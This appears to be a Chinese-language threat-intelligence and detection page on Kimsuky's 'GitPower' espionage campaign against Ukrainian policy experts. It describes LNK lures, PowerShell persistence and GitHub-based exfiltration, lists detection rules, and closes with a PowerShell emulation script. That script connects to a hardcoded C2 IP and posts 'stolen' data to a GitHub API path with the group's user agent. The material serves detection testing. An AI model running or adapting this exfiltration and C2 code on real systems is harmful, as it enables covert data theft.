GitPower行动:Kimsuky对乌克兰的间谍活动
Detection stack
- AIDR
- Alert
- ETL
- Query
摘要
Kimsuky目前正在对乌克兰在外交、安全和国际政策方面的专家进行网络间谍活动。此行动被称为GitPower行动,依赖于回复诱饵鱼叉式网络钓鱼,并滥用GitHub、GitLab和Codeberg等合法开发平台以传播恶意软件。攻击者还开始使用人工智能工具制作诱饵文档并自动化攻击流程。
调查
调查人员审查了多个攻击阶段,包括伪装成PDF的恶意LNK文件和假冒Zoom安装程序。他们追踪到多阶段执行流程,其中VBScript和PowerShell脚本通过计划任务设置持久性。该组织使用硬编码C2服务器和GitHub的API来执行数据外泄。
缓解措施
组织应加强EDR检测和威胁狩猎能力,重点应对LNK文件、PowerShell和合法云开发服务的滥用。建议严格监控异常计划任务和对GitHub和GitLab的未经授权的API调用。用户应接受培训以识别复杂的回复诱饵社交工程策略。
响应
检测到后,应急响应人员应隔离受影响的端点,以阻止通过已识别的TCP C2或GitHub渠道的进一步数据外泄。分析人员应搜索未经授权的计划任务,并检查C:UsersPublic目录中的恶意VBS/PS1文件。需要将LNK执行与后续的合法云服务网络连接联系起来。
攻击流程
我们仍在更新此部分。
检测
可能存在双扩展的恶意LNK文件(通过cmdline)
2026年10月13日
在可疑目录中使用绕过执行策略执行PowerShell文件(通过cmdline)
2026年10月13日
Schtasks指向可疑目录/二进制文件/脚本(通过cmdline)
2026年10月13日
LOLBAS WScript / CScript(通过process_creation)
2026年10月13日
来自公共用户配置文件的可疑执行(通过process_creation)
2026年10月13日
可疑的CURL使用(通过cmdline)
2026年10月13日
可疑的Invoke-RestMethod使用(通过powershell)
2026年10月13日
从Powershell调用可疑的.NET方法(通过powershell)
2026年10月13日
由异常进程启动的可能Github文件下载(通过network_connection)
2026年10月13日
公共用户配置文件中的可疑文件(通过file_event)
2026年10月13日
用于检测的IOC(HashMd5):Kimsuky的GitPower行为针对乌克兰第四部分
2026年10月13日
用于检测的IOC(HashMd5):Kimsuky的GitPower行为针对乌克兰第三部分
2026年10月13日
用于检测的IOC(HashMd5):Kimsuky的GitPower行为针对乌克兰第二部分
2026年10月13日
用于检测的IOC(HashMd5):Kimsuky的GitPower行为针对乌克兰第一部分
2026年10月13日
用于检测的IOC(SourceIP):Kimsuky的GitPower行为针对乌克兰
2026年10月13日
用于检测的IOC(DestinationIP):Kimsuky的GitPower行为针对乌克兰
2026年10月13日
检测Kimsuky活动中的TCP C2连接和基于GitHub的数据外泄[Windows网络连接]
2026年10月13日
检测用于恶意脚本执行的GoogleUpdateTaskMachineUA计划任务[Windows Sysmon]
2026年10月13日
使用带混淆和持久性的LNK文件执行恶意PowerShell脚本[Windows进程创建]
2026年10月13日
模拟执行
-
攻击叙述与命令: 对手旨在通过GitHub建立指挥和控制(C2)通信并外泄敏感数据。首先,攻击者与硬编码的C2 IP建立一个TCP连接
111.92.246.145端口12345以表示准备就绪。其次,为了避免通过传统的数据传输监控而被检测到,攻击者采用“地运行”方法,通过GitHub内容API将被盗文件上传到GitHub存储库,尤其模仿Kimsuky用户代理GitHub-API/1.0. -
回归测试脚本:
# Kimsuky检测验证的模拟脚本 Write-Host "[+] 启动Kimsuky模拟…" -ForegroundColor Cyan # 1. 模拟C2连接 (TCP 111.92.246.145:12345) Write-Host "[+] 尝试连接到C2 111.92.246.145:12345" -ForegroundColor Yellow try { $tcpClient = New-Object System.Net.Sockets.TcpClient $connection = $tcpClient.BeginConnect("111.92.246.145", 12345, $null, $null) # 我们使用短超时以防止脚本在IP无法访问时挂起 $success = $connection.AsyncWaitHandle.WaitOne(2000, $false) if (-not $success) { Write-Host "[!] 连接失败(如果IP脱机这是预期的),但Sysmon应仍然记录遥测。" -ForegroundColor Gray } $tcpClient.Close() } catch { Write-Host "[!] 在C2模拟期间出错:$($_.Exception.Message)" -ForegroundColor Red } # 2. 模拟GitHub外泄 (通过指定User-Agent的POST到GitHub API) Write-Host "[+] 尝试GitHub API外泄模拟…" -ForegroundColor Yellow $githubUri = "https://github.com/repos/test-attacker/exfil-repo/contents/stolen_data.txt" $userAgent = "GitHub-API/1.0" $headers = @{ "Authorization" = "token FAKE_TOKEN_FOR_TESTING" "Content-Type" = "application/json" } $body = @{ "message" = "Exfiltrating data" "content" = "SGVsbG8gV29ybGQ=" # Base64为"Hello World" } | ConvertTo-Json try { # 使用 -UserAgent 触发特定检测逻辑 Invoke-RestMethod -Uri $githubUri -Method Post -Headers $headers -Body $body -UserAgent $userAgent } catch { Write-Host "[!] HTTP请求已完成(假URL预期404/401,但已发送User-Agent)。" -ForegroundColor Gray } Write-Host "[+] 模拟完成。" -ForegroundColor Cyan -
清理命令:
# 本模拟脚本未创建任何持久性工件。 # 如果使用了任何本地文件应被删除: Remove-Item -Path ".stolen_data.txt" -ErrorAction SilentlyContinue Write-Host "[+] 清理完成。" -ForegroundColor Green